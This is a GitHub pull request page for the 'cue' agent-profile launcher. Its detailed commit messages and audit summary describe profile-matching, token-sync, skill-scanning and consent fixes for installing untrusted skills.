it joins the operational primitives in ALWAYS_KEEP, and the matching slug set in profile-merge so a budgeted composite can't drop it either. Verified on a neutral cwd with zero project signals: browser/ego-browser now classifies full, where it previously landed in deferred. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(security): gate freshly-fetched skills through NVIDIA SkillSpector Every path that lands a new skill on disk — `skills add`, `discover install`, `marketplace install-skill` — now scans it before anything registers it to a profile. SkillSpector covers 68 vulnerability patterns across 17 categories (prompt injection, data exfiltration, supply chain, dangerous code via AST, YARA, MCP tool poisoning) on top of cue's own SEC1-3 criticals. Policy reads the report's `recommendation` rather than the exit code, so the three verdicts stay distinguishable: DO_NOT_INSTALL blocks, CAUTION registers with a visible warning, SAFE is quiet. `--allow-unsafe` overrides the block. install-skill differs from the others on purpose: the files are already on disk by the time it runs, so a block reports findings and exits non-zero rather than deleting anything, leaving them for review. When the scanner isn't installed the gate degrades to cue's own rules and says so, rather than silently passing everything. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(materializer): stop unresolving the live runtime path mid-swap Rematerializing did `rm -rf runtimeDir` and only then renamed the new tree into place, so the live path stayed nonexistent for the whole recursive delete — seconds, on a runtime carrying a plugin cache and a backup chain. A Claude Code session already running against that profile resolves its hooks through exactly that path, so every hook firing inside the gap died with "No such file or directory" (observed 2026-08-03: nine Stop hooks at once, mid-session). Move the old tree aside instead: the path is unresolvable only between two renames, and the delete runs after the new runtime is live. The `.old-*` dir is a sibling of the swap target, so it cannot cross a filesystem boundary and sits one level below the root runtime-gc scans. Leftovers from a swap killed between the renames are swept best-effort on the next materialize. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * refactor(picker): pull the shared visual primitives out of card and palette The v2 card and the stack palette had grown their own copies of the same drawing code. Both now hang off one set of primitives in picker/ui.ts, styled after iOS grouped-inset lists: one rounded card per idea, uppercase muted section headers instead of heavy rules, a filled pill for the single primary action, circular selection marks instead of ASCII brackets, page dots for "there is more to see here". Everything in ui.ts is pure — no I/O, no TTY — and styleText is a no-op off a TTY, so the tests assert on plain text. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * chore: integrity-protocol wording, tag hooks, two new profiles Collects the remaining working-tree changes from prior sessions: - resources/personas/integrity-protocol{,-compact}.md — wording pass - resources/hooks/{tag-audit,liedetector-tag-density}.sh — confidence-tag density checks - profiles/frontend-design, profiles/reverse-skill — two new profiles - README.md, .cue.profile (cue's own pin: core -> core+skill-writer) Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(liedetector): one ~N% raster, a drift guard, and hook test coverage (#125) The confidence protocol stated four different rules for the ~N% calibration on yellow/orange tags. The always-on compact persona called it optional; the skill called a bare [INFERRED] a protocol violation. So the rule that applied depended on which source happened to be in context. Settle on one: required, snapped to a 5-point raster (yellow ~50-85%, orange ~20-45%). The tiers no longer overlap each other or green. 14 steps rather than a coarser ladder, because the number exists to order claims against each other; not finer, because self-reported confidence is miscalibrated in absolute terms and ~67% would read as a measurement that never happened. liedetector-tag-density.sh gains an exact check for it: a yellow/orange tag with no ~N%, or one off the raster, is now flagged. The two heuristics around it stay heuristics; this one is a fact, since the protocol names the legal values. src/lib/integrity-ladder.test.ts is a drift guard. The raster lives in two scripts that cannot import from each other -- the hook here, and the eval grader in the resources/skills submodule, which also ships standalone via npx to agents with no cue tree. The guard reads both definitions and asserts they match, plus that all four prose sources state the same rule. Verified by injecting a one-sided change and watching it fail. src/lib/liedetector-hooks.test.ts is the first coverage under resources/hooks: 16 tests driving both Stop hooks through synthetic transcripts. Note the two traps it documents -- transcript records must be compact JSON, and pointing HOME at a temp dir breaks a wrapper-script python3, which silently turns every "expects no output" assertion into a vacuous pass. summon.test.ts: the mcp_status test pinned browser/lightpanda + core, and 1857088 (#121) dropped the lightpanda MCP from every profile that pinned it, so it asserted a pairing that no longer existed. It now derives a live pairing instead of hardcoding one, and fails loudly rather than skipping if none is satisfiable. README/llms.txt: 86 -> 87 profiles, which 062b40a left behind. resources/skills: fast-forward the pointer onto opencue/skills#18, which carries the matching grader change. e9e6657 is an ancestor, so nothing is lost; the bump also closes a pre-existing 4-commit lag. Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(codex): share AuthMux login with Cue runtimes (#141) Cause: Cue isolates CODEX_HOME per profile while AuthMux manages ~/.codex/auth.json. Tested: bun test src/lib/codex-auth-sync.test.ts Tested: bunx tsc --noEmit Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> --------- Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
NagyVikt
added a commit
that referenced
this pull request
Aug 11, 2026
* feat(picker): match every profile against the repo, not just the 19 with rules The suggestion engine ranked profiles from five hand-maintained sources — dependency rules, path conventions, combo history, recents, featured. Between them they cover 19 of 85 profiles. The other 66 could only ever surface if the user had launched them before, so a directory that genuinely wanted one had no way to say so, and cycling past the third suggestion ran out of answers. profile-match scores every profile's OWN vocabulary (name, description, skill ids, MCP ids) against what the directory reveals about itself (dependencies, languages, marker files, entry names). Coverage goes to 85/85 and the card's tail keeps landing on something the repo justifies. Wired in as a new `matched` origin scored 8-30, so curation still leads: it can pass `featured` from ~0.32 strength but never outranks a detection, a confirmed combo, or something launched in this very directory. Four properties earned their place by being wrong first: Absolute strength, not relative to the run's best hit. Normalizing against the top scorer manufactures confidence from noise — a directory with nothing to say still produced a 1.00 "match", because the weakest signal present is still the strongest signal present. cue and gitguardex now correctly match nothing. Corroboration: a filename alone never carries a match. Every repo here has a CLAUDE.md, so every repo matched `claude-api` — above a real ROS workspace backed by an actual robot.urdf. Chasing each such word with the stopword list was a losing game; requiring one dependency, language, or marker hit ends the class. IDF weighting plus size damping, so `gstack` (70 terms, mentions everything) cannot beat `rust` (18 terms, mentions Rust) on a Cargo.toml by surface area. Both sides normalize through the same `tokenize`. Skipping it on the evidence side meant a profile indexed "robotic" while EXT_LANGUAGE emitted "robotics" — they never met, silently. Same failure class as the bash/TS drift the hook guards against. gstack itself goes to _featured.yaml rather than being made detectable, because it structurally cannot be: it is a WORKFLOW profile, describing how you want to work, and repo evidence only ever describes what the project IS. A .urdf says robotics; nothing on disk says "role-routed engineering". It scored 0.27 at rank #6 across the test repos; always-available is the honest mechanism. Also: `-js` is no longer folded as a plural (medusajs -> medusaj, nextjs -> nextj), which affected skill matching too; the df cut is skipped below 10 profiles, where it discarded every term shared by two and matched nothing; and manifest metadata keys are filtered, so `requires-python` and `[urls] issues` stop reading as dependencies named "research" and "linear". Verified on real repos: agv_stack surfaces ros2 #1 (previously unreachable), api-tester surfaces python + backend-base, kolarortopedia surfaces postgres + supabase, cue and gitguardex correctly surface nothing. 2819 pass / 0 fail. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(test): make cue handoff tests e2e, drop the global mock.module leak src/commands/handoff.test.ts registered mock.module("../lib/handoff", ...). Bun's module mock lives in a PROCESS-GLOBAL registry that outlives the file that installs it, so whenever this file landed in the same worker before src/lib/handoff.test.ts, that file asserted against the stub instead of the real formatHandoffForAgent. The stub emitted only the header and the task summary, so exactly the four sections it omitted failed: Most useful skills / Also helpful / MCPs used / Notes Green locally, red in CI, purely on file ordering. Drive the command through spawnSync with XDG_CONFIG_HOME pointed at a temp dir instead. HANDOFFS_DIR is a module-level const baked from that env var at import time, so a fresh child picks up the temp dir and no global state is touched. Nothing is left to leak — this was the last mock.module in the repo. Also stronger: the router now runs against the real lib rather than a stub. 10 -> 18 tests, covering the --json branches, --skills level parsing, the --from default and the unknown-subcommand fallback. Verified: bun test --timeout 30000 (the CI command), 4 consecutive runs, 2819 pass / 1 skip / 0 fail. typecheck clean, lint unchanged at 6 warnings. * chore: delete 733 lines of verified dead code Every deletion was re-verified by hand against a repo-wide fixed-string grep (excluding node_modules/dist/vendor, but INCLUDING .sh, .yaml, .md and extensionless bin scripts) plus a within-file usage check. Dead code's tests go with it — a test for dead code is also dead. Whole files, referenced by nothing but their own test: src/lib/incremental-materialize.ts 81 (+112 test) src/lib/skill-compressor.ts 68 (+59 test) src/lib/webhooks.ts 58 (+175 test) scripts/_test-ecc-materialize.ts 20 (referenced by nothing at all) Functions with exactly one occurrence in the repo — their own definition: discover.ts buildGemBadgeSvg 196 skill-deps.ts topologicalSort 61 (+18 test) Stale docs: bin/README.md 32 describes a `soul` CLI and a bin/cli/lib/ layout, neither of which exists Deliberately NOT deleted, though a generated report flagged them — 28 of its 76 non-picker findings were false positives, and deleting them blind would have broken the build: analytics.ts recordSkillUsage called by resources/hooks/skill-fire-tracker.sh bin/cue-slug called by bin/cue-learnings (the report's own grep passed --include='*.sh', so the extensionless caller never matched) runtime-gc.ts imported by commands/gc.ts and launch.ts handoff.ts (all 4 exports) imported by commands/handoff.ts kitty-image probeKittyTerminal, clearKittyImagesSequence, skill-deps parseDependencies, skill-router Router* types used within their own file; only the `export` keyword is redundant, which is churn, not dead code cloud.ts:255 "dead" branch reachable: `cue cloud push x` gives argv[2]="cloud" and falls to the default arm Also left alone: the picker block (~1057 lines) while that migration is in flight, and launch.ts's token-budget re-export shim (all five symbols are used inside launch.ts, so it is an export->import rewrite worth zero lines). Verified: bun test --timeout 30000, 4 consecutive runs, 2819 pass / 1 skip / 0 fail across 219 files. typecheck exit 0. lint 0 errors, 6 warnings (baseline). * docs(dead-code): mark the report superseded, record the false-positive rate 28 of 76 non-picker findings were wrong. Record which ones and why, so the next pass re-verifies instead of trusting the confidence column: a 'high' rating only means the agent's grep came back empty, and those greps missed shell hooks, extensionless bin scripts, dynamic imports, and string-keyed command dispatch. * feat(brief): hand the agent verified facts about the directory it launches in A profile teaches the agent a domain. It cannot know that this repo runs on bun rather than npm, that the tests are behind `just check`, or where the entry point lives — so the agent guesses, and burns turns finding out. `lib/project-brief` scans that off the filesystem and the launcher hands it over: package manager (from the lockfile), the real test/build/lint/typecheck commands (package.json scripts, Makefile, justfile, Cargo, pyproject), entry points, layout, workspaces, data layer, what CI actually runs, and the default branch. Verified only — nothing inferred, because a wrong fact costs more than a missing one. `.env` values are never read; the scan notes only that a committed `.env.example` exists. Delivery is per process, deliberately NOT through the materialized memory file: the runtime is keyed by profile and shared by every directory and every parallel session using it, so repo-specific text there would leak across projects and race between sessions. claude-code takes the brief inline via `--append-system-prompt`; codex, which has no such flag, gets a per-cwd file plus one *static* pointer line in AGENTS.md. `cue brief` shows exactly what the agent receives. `--write` turns it into `.cue/project.md`: a machine block that refreshes and a `## Notes` section that never does — for the conventions no scanner can infer. `CUE_BRIEF=0` opts out entirely. Two bugs the real-repo smoke test caught, both fixed with tests: the layout list sorted alphabetically and spent its budget on `action/ agentshield/…` while cutting `src/`; and `--write` folded the notes back into the machine block, duplicating them on every rewrite. Tests: 33 new, driving the scanner through a stub probe (bun/pnpm/cargo/ python/go/monorepo fixtures, CI harvesting, caps, truncation, no-manifest → null, and an assertion that no `.env` is ever read), plus the brief-file merge and the per-agent injection. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(picker): let the model rerank profile matches, without ever waiting on it Every failure the lexical matcher has is the same shape: a word means one thing in a manifest and another in a profile description, and the fix is another stopword. CLAUDE.md, @clack/core, requires-python, base-template each cost a round of tuning, and the list is unbounded. A model reads the same evidence and doesn't make that class of mistake. So: lexical proposes, the model judges. This fits here in a way it did not fit the skill matcher. That hook runs on every prompt and the prompt is always different, so an LLM call is a per-message tax with a near-zero cache hit rate — which is why it ended up as an opt-in `--deep` escalation. A repo's shape is stable for weeks. Keyed on the evidence rather than the clock, the cache hits ~always and the model is consulted about once per project. Measured: 9.8s cold, 0.124s warm. The launch path still never waits. A warm entry is read in ~1ms; a cold one serves the lexical answer immediately and spawns a detached process to fill the cache for next time. Picker cost measured at 98ms warm, 45-74ms cold — the model's 10 seconds are never on anyone's critical path. claude-classifier extracts the spawn, the ephemeral CLAUDE_CONFIG_DIR isolation and the credential copy-back out of skill-subset (477 -> 331 lines). That machinery is subtle enough — the rotation race, the shared timeout budget across the binary fallback — that a second copy would drift rather than stay honest. `cue profile match [dir] --explain --deep` exists because the matcher's early versions stayed wrong for as long as they did purely because nothing showed which term caused a bad suggestion. It earned its keep within minutes: on a small Python CLI it revealed "dependencies" named environment, intended, operating, programming and topic — PyPI trove classifiers, read as packages by the loose manifest scanner. Handed that same garbage, the model confidently picked profiles about building cue itself. With the scanner fixed to skip `::` lines it picks python + backend-base, which is right. The scanner now also harvests inline dependency arrays (`dependencies = [...]`), which are often the only place a pyproject declares anything real. Verified live: agv_stack -> ros2 ("ROS 2 robot control, .urdf files, MRS platform"); kolarortopedia -> backend + postgres, with the model correctly dropping `vite` (matched on the vitest test runner) and `supabase` (matched on the substring "postgre"). 2889 pass / 0 fail, tsc and lint clean. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(picker): scope remembered stacks to the repo you launch in The combine suggestion engine remembered every stack globally: combo-history rows carried no directory, so "you launched this stack 4x" counted launches from every project at once. At SCORE_COMBO (50-65 with the count bonus) that outranked the cwd-scoped recent (max 50), so a favourite stack from an unrelated repo led the picker in a repo that had never seen it. Rows now record the launch directory, and readCombos scopes them by repository root - a launch inside packages/core still sees the stack confirmed at the repo root above it. Stacks confirmed here score 60-75; stacks known only from other repos drop to 31-40, below anything cwd-scoped, and say so in their reason. Backward compatible on both ends: an unattributed row (written before cwd was recorded) never claims the current directory, and a caller that passes no scope keeps the exact score and wording it had before. * feat(picker): scope pair affinity to the repo you launch in growStack grafts your top historical partner onto every suggested stack, and it does so with no reason line of its own - the profile just appears in the card. That partner came from a global affinity map mined across every project, so a pairing learned in one repo rode silently into the suggestions of an unrelated one: open an API repo and backend+medusa-dev showed up because that is how you work in a shop repo. computeAffinityMap now takes an optional repo scope, and launch builds the picker's partner map from the scoped one. Cross-repo habits still surface, but only through channels that say where they came from - universalSuggestions, and `cue suggest-pairs`, which now splits its table into pairings made here and pairings made in other projects. The scope predicate moves to lib/repo-scope, shared with combo-history so the two history readers cannot drift into different notions of "here". Unscoped callers - the universal-suggestion frequency pass, the dashboard - are unchanged, and rows with no recorded directory are excluded under a scope rather than credited to whichever repo happens to be open. * feat(picker): scope Recent by repository, not by path prefix Recent was the last suggestion source still scoping by raw downward path prefix, which the previous two rounds turned into an inconsistency: launch in packages/core and cue would show you the stacks and pairings confirmed at the repo root, but none of the sessions. The prefix rule cannot match a parent path, so scoped Recent came back empty and launch silently fell back to the global list - handing that subdirectory the profiles you use in other projects. computeStats now takes the same repo scope as the other two readers, so all three agree on what "here" means. The reason line becomes "last used in this repo", which is what it now measures. This path had no test coverage at all; it now has five, including the subdirectory case that was broken and the outside-a-repository fallback. * fix(picker): rank suggested stacks by what you actually launch here Three defects made the card lead with a stack the user had never launched. 1. Saturation. The usage bonus was `min(sessions, 5) * 2`, so everything with five or more sessions scored exactly 50 - a stack launched 112 times in this repo tied with one launched five times, and the card's headline was decided by the alphabetical tie-break. Replaced with a logarithmic bonus: every doubling of use adds a fixed step, calibrated so the five-session case lands where it did before and everything above it keeps climbing. 2. Truncation. A recalled stack was grown and then cut to MAX_STACK_PARTS, so a four-part recent became a three-part stack that was never launched, captioned with the four-part stack's session count. Recollections are now shown as launched: conflicts still resolve, but no companions are bolted on and no parts are dropped. The cap still applies to stacks this module proposes. 3. First-write-wins dedup. Sources are scanned in a fixed order but are no longer ranked by it, so a foreign combo used 4x claimed the part-set and permanently suppressed the recent used 112x here. Dedup now keeps the best-scoring claim; ties keep the incumbent, preserving origin order where scores don't separate. Measured in this repo, top suggestion before and after: before: career+skill-writer+core (truncated from a 4-part stack, 5 sessions) after: core+skill-writer (112 sessions here) * fix(suggest): score skills on what the user actually said `cue suggest` recommended a wedding-invitations skill because "date" appeared 195 times, and rated everything at confidence 1.00. Four compounding faults. Counting the wrong text. It scanned raw transcript JSONL, so assistant prose, tool names, tool output and file contents all counted as things the user "mentioned" - "read" scored 798x because that is the Read tool. Only user text parts are read now; tool_result parts arrive under role "user" too and are excluded. Substring matching. `indexOf` found "ops" inside "operations" and "and" inside "command". Matching is now whole-word, via a single tokenizing pass that also replaces a per-keyword regex compiled over megabytes of text - the command went from seconds to ~0.2s end to end. No stopword filter. Every SKILL.md description opens with "Use this when the user asks...", so "use", "when" and "user" became keywords for the entire catalogue. Filtered now, along with transcript-structure words, and the remaining keywords are weighted by catalogue-wide rarity: a stopword list only knows what is common in English, not that "mcp" appears in hundreds of these skills and separates none of them. Meaningless confidence. `min(1, mentions / 50)` reached 1.00 for every skill, so the printed number carried no information and the ranking was arbitrary. Score is now the strongest few signals - summing every match rewarded a long description over a relevant one - on an asymptotic curve calibrated against a real 355-candidate run. Measured confidence spread over this repo's transcripts: p10 0.32, p50 0.54, max 0.72. The reason line is computed from the same frequency map as the score, so it can no longer name a keyword that never contributed - which is how "and" came to be cited 8044 times. * fix(auth): keep concurrent sessions from revoking each other's tokens Anthropic's OAuth rotates the refresh token on every refresh, and cue gives each profile runtime its own copy of .credentials.json. Two sessions on different profiles therefore hold two copies of one token: whichever refreshes first silently revokes the other, which then hits a login prompt mid-session. Measured on a real machine - 121 runtime copies, 75 distinct refresh tokens, 114 of 117 access tokens expired. Sharing one file via symlink is the obvious fix and does not work: Claude Code rewrites .credentials.json atomically (tmp -> rename), which replaces a symlink with a regular file on the first refresh. Observable in any authmux runtime, where cue symlinks .claude.json and every one has since become a plain file while its neighbours (projects/, agents/) are still links. So the sessions have to talk instead. cue already published a rotation to the owning account dir on exit, which is too late - by then the sibling has already been dropped. A live session now reconciles once a minute for as long as it runs: it republishes its own rotation, and adopts anyone else's. pullFreshestToRuntime is the missing inbound direction, gated on matching accountUuid so alternating accounts can't hand each other tokens, and on strictly newer expiresAt so two reconcilers settle rather than trading the file back and forth. Polling rather than watching is deliberate: the same atomic rename that defeats symlinks also breaks an inode watch. * fix(auth): read the default account's identity where Claude Code keeps it The rotation heal added in ae59ebf never ran for the default account. Every direction in credentials-sync is gated on a known accountUuid, and readAccountUuid looked only at <dir>/.claude.json. With no CLAUDE_CONFIG_DIR set, Claude Code keeps oauthAccount in the home-root ~/.claude.json and leaves ~/.claude/.claude.json a settings-only stub - so the default account read as unknown and all three heals silently no-op'd: no candidates to sync from, no publish to ~/.claude, no adopt out of it. Measured here: 76 distinct refresh tokens across 123 runtimes, and 32 runtimes the heal could not see. The bug hid because authmux account dirs DO carry identity in-dir, so they worked. The basename gate keeps the fallback off those account dirs and off runtime dirs, which all carry identity in-dir - a stray sibling .claude.json must never be read as an account's identity or two accounts could trade tokens. Second path to the same symptom: overlaySourceState copied .credentials.json unconditionally, with none of the expiresAt comparison the rebuild path does. It runs on every cache-hit launch, and cue sync / cue install resolve their source with healFromRuntime: false - so one bulk sync could stamp a dead token over every runtime at once. It now keeps whichever side is newer, scoped to a single account so a deliberate account switch still re-seeds wholesale. Last, the reconcile cadence. Copies of a blob share one expiresAt, so concurrent sessions reach expiry together and refresh within moments of each other; only the first rotation survives. A flat 60s poll cannot help when the contended window is seconds wide, so the cadence now tightens to 5s across that window and idles at a minute elsewhere. This narrows the race and does not close it: cue does not perform the refresh, Claude Code does in-process, so there is no point at which cue can serialize the two callers. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(resolver): follow symlinked skill directories A skill maintained in its own repo can be linked into the tree rather than copied — browser/ego-browser now points at ~/Documents/ego-lite-linux, so the Linux port's skill has exactly one source of truth instead of a hand-synced duplicate that silently drifts. walk() filtered category entries on dirent.isDirectory(), which is false for the symlink itself, so the linked skill vanished from the index and `cue validate` failed it as E3 SKILL_NOT_FOUND. Stat through symlinks; dangling links are treated as absent. The materializer already symlinks skills, so this only makes the read path agree with the write path. Also register ego-browser in KNOWN_CLIS so the skill's Prerequisites section is picked up by the CLI extractor. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(core): keep ego-browser loaded in every project core declared browser/ego-browser, but the per-project loadout deferred it everywhere no project signal matched — which is most projects, since the signal set comes from package.json deps and framework detection and nothing there says "browser". The declaration was real and the skill still never loaded. Deferring it does not save a browser session; it sends the agent to MCP round-trips or web fetch instead, which costs more than this skill's frontmatter. So it joins the operational primitives in ALWAYS_KEEP, and the matching slug set in profile-merge so a budgeted composite can't drop it either. Verified on a neutral cwd with zero project signals: browser/ego-browser now classifies full, where it previously landed in deferred. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(security): gate freshly-fetched skills through NVIDIA SkillSpector Every path that lands a new skill on disk — `skills add`, `discover install`, `marketplace install-skill` — now scans it before anything registers it to a profile. SkillSpector covers 68 vulnerability patterns across 17 categories (prompt injection, data exfiltration, supply chain, dangerous code via AST, YARA, MCP tool poisoning) on top of cue's own SEC1-3 criticals. Policy reads the report's `recommendation` rather than the exit code, so the three verdicts stay distinguishable: DO_NOT_INSTALL blocks, CAUTION registers with a visible warning, SAFE is quiet. `--allow-unsafe` overrides the block. install-skill differs from the others on purpose: the files are already on disk by the time it runs, so a block reports findings and exits non-zero rather than deleting anything, leaving them for review. When the scanner isn't installed the gate degrades to cue's own rules and says so, rather than silently passing everything. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(materializer): stop unresolving the live runtime path mid-swap Rematerializing did `rm -rf runtimeDir` and only then renamed the new tree into place, so the live path stayed nonexistent for the whole recursive delete — seconds, on a runtime carrying a plugin cache and a backup chain. A Claude Code session already running against that profile resolves its hooks through exactly that path, so every hook firing inside the gap died with "No such file or directory" (observed 2026-08-03: nine Stop hooks at once, mid-session). Move the old tree aside instead: the path is unresolvable only between two renames, and the delete runs after the new runtime is live. The `.old-*` dir is a sibling of the swap target, so it cannot cross a filesystem boundary and sits one level below the root runtime-gc scans. Leftovers from a swap killed between the renames are swept best-effort on the next materialize. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * refactor(picker): pull the shared visual primitives out of card and palette The v2 card and the stack palette had grown their own copies of the same drawing code. Both now hang off one set of primitives in picker/ui.ts, styled after iOS grouped-inset lists: one rounded card per idea, uppercase muted section headers instead of heavy rules, a filled pill for the single primary action, circular selection marks instead of ASCII brackets, page dots for "there is more to see here". Everything in ui.ts is pure — no I/O, no TTY — and styleText is a no-op off a TTY, so the tests assert on plain text. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * chore: integrity-protocol wording, tag hooks, two new profiles Collects the remaining working-tree changes from prior sessions: - resources/personas/integrity-protocol{,-compact}.md — wording pass - resources/hooks/{tag-audit,liedetector-tag-density}.sh — confidence-tag density checks - profiles/frontend-design, profiles/reverse-skill — two new profiles - README.md, .cue.profile (cue's own pin: core -> core+skill-writer) Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(liedetector): one ~N% raster, a drift guard, and hook test coverage (#125) The confidence protocol stated four different rules for the ~N% calibration on yellow/orange tags. The always-on compact persona called it optional; the skill called a bare [INFERRED] a protocol violation. So the rule that applied depended on which source happened to be in context. Settle on one: required, snapped to a 5-point raster (yellow ~50-85%, orange ~20-45%). The tiers no longer overlap each other or green. 14 steps rather than a coarser ladder, because the number exists to order claims against each other; not finer, because self-reported confidence is miscalibrated in absolute terms and ~67% would read as a measurement that never happened. liedetector-tag-density.sh gains an exact check for it: a yellow/orange tag with no ~N%, or one off the raster, is now flagged. The two heuristics around it stay heuristics; this one is a fact, since the protocol names the legal values. src/lib/integrity-ladder.test.ts is a drift guard. The raster lives in two scripts that cannot import from each other -- the hook here, and the eval grader in the resources/skills submodule, which also ships standalone via npx to agents with no cue tree. The guard reads both definitions and asserts they match, plus that all four prose sources state the same rule. Verified by injecting a one-sided change and watching it fail. src/lib/liedetector-hooks.test.ts is the first coverage under resources/hooks: 16 tests driving both Stop hooks through synthetic transcripts. Note the two traps it documents -- transcript records must be compact JSON, and pointing HOME at a temp dir breaks a wrapper-script python3, which silently turns every "expects no output" assertion into a vacuous pass. summon.test.ts: the mcp_status test pinned browser/lightpanda + core, and 1857088 (#121) dropped the lightpanda MCP from every profile that pinned it, so it asserted a pairing that no longer existed. It now derives a live pairing instead of hardcoding one, and fails loudly rather than skipping if none is satisfiable. README/llms.txt: 86 -> 87 profiles, which 062b40a left behind. resources/skills: fast-forward the pointer onto opencue/skills#18, which carries the matching grader change. e9e6657 is an ancestor, so nothing is lost; the bump also closes a pre-existing 4-commit lag. Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(codex): share AuthMux login with Cue runtimes (#141) Cause: Cue isolates CODEX_HOME per profile while AuthMux manages ~/.codex/auth.json. Tested: bun test src/lib/codex-auth-sync.test.ts Tested: bunx tsc --noEmit Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> * feat: advise launch profiles from repository context Add bounded Claude/Codex profile analysis with repo+HEAD caching and deterministic auto-detect fallback. Surface AI advice and the current profile without automatically replacing user selection.\n\nTested: bun test src/lib/ai-profile-advisor.test.ts src/lib/auto-detect.test.ts src/commands/launch.test.ts\nTested: bun run typecheck\nTested: biome lint touched files --------- Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Week-1 highest-ROI fixes (from the codebase audit)
Six fixes from the ROI audit, all chosen because they were high-impact and low-effort — several are correctness/security bugs, not polish. Built in an isolated worktree off
main(2e1fad7); each fix is its own commit.The fixes
df7256f--yes.autoInstallClis()rannpm/brew/cargo/pipx installlines scraped from a just-fetched (untrusted)SKILL.mdwith no consent — a typosquatted skill repo could trigger arbitrary global installs. Now warn-only unless--yes.8957dc2npm i -g cue-ainever created the~/.local/bin/claudeshim, so README-followers got vanilla Claude Code with no profile. Addedcue shell installto README + postinstall;cue initnow detects+offers it.490f2bacue launch, so the check opened a readline on the agent's stdin and could auto-npm install -gmid-session. Skipped for launch/CI/non-TTY; never auto-installs on timeout/blank.5e1583ctsc … 2>/dev/null || true(enforced nothing); now blockingbun run typecheck. Also fixed theskills-lintno-op (skills lint --all).cfa5bafsrc/**changes. The profile e2e sweep ignoredsrc/, so hot-path PRs (launch/materialize) never triggered it.1c651d1python-api/rust-cli/ecc/baremedusawere suggested but don't exist on disk, so auto-detect & discover-install silently no-opped. Renamed topython/rust/core/medusa-dev+ added a guard test that fails if any phantom returns.Adversarial review + hardening (
5da67cb,33524d7,c8499d4,480ee5f)A multi-agent adversarial review caught a blocker and 3 majors in the first cut, all fixed:
shimInstalled()false negative — only matched the bare shim format, not the abspath formcue shell installactually writes, socue initwrongly re-prompted. Now matches both (launch claude); added tests for both formats.cue quick/cue playground(also spawn the agent) — now covered.submodules: recursive, soskills lint --allthrew instead of reporting — fixed.ecclingered incue init's onboarding composite — removed.Verification
bun run typecheckclean · 659 lib + 25 shell/detect + 76 targeted tests pass · newprofile-names.test.tsguard +shimInstalledboth-format tests.Out of scope — discovered, not fixed here (recommend follow-ups)
cue shell installwrites an abspath shim (~/Documents/cue/bin/cue) that's broken for pure npm-global installs (no source clone). The barecue launchform would be portable. This undercuts ROI fixes (typecheck 48→0, auto-rematerialize, orphans, skill hints) + WIP #2 for npm users — worth a dedicated fix.cue validate --allhangs / is very slow (didn't finish in 60s locally). Possibly network (npx) during validation — worth profiling.tsconfig'sskipLibCheck: true— intentional (gatessrc/only, not dependency.d.ts); flagging for transparency since commit fix(ci): escape Liquid in discovered docs + guard merge tests #4's message phrasing implied otherwise.🤖 Generated with Claude Code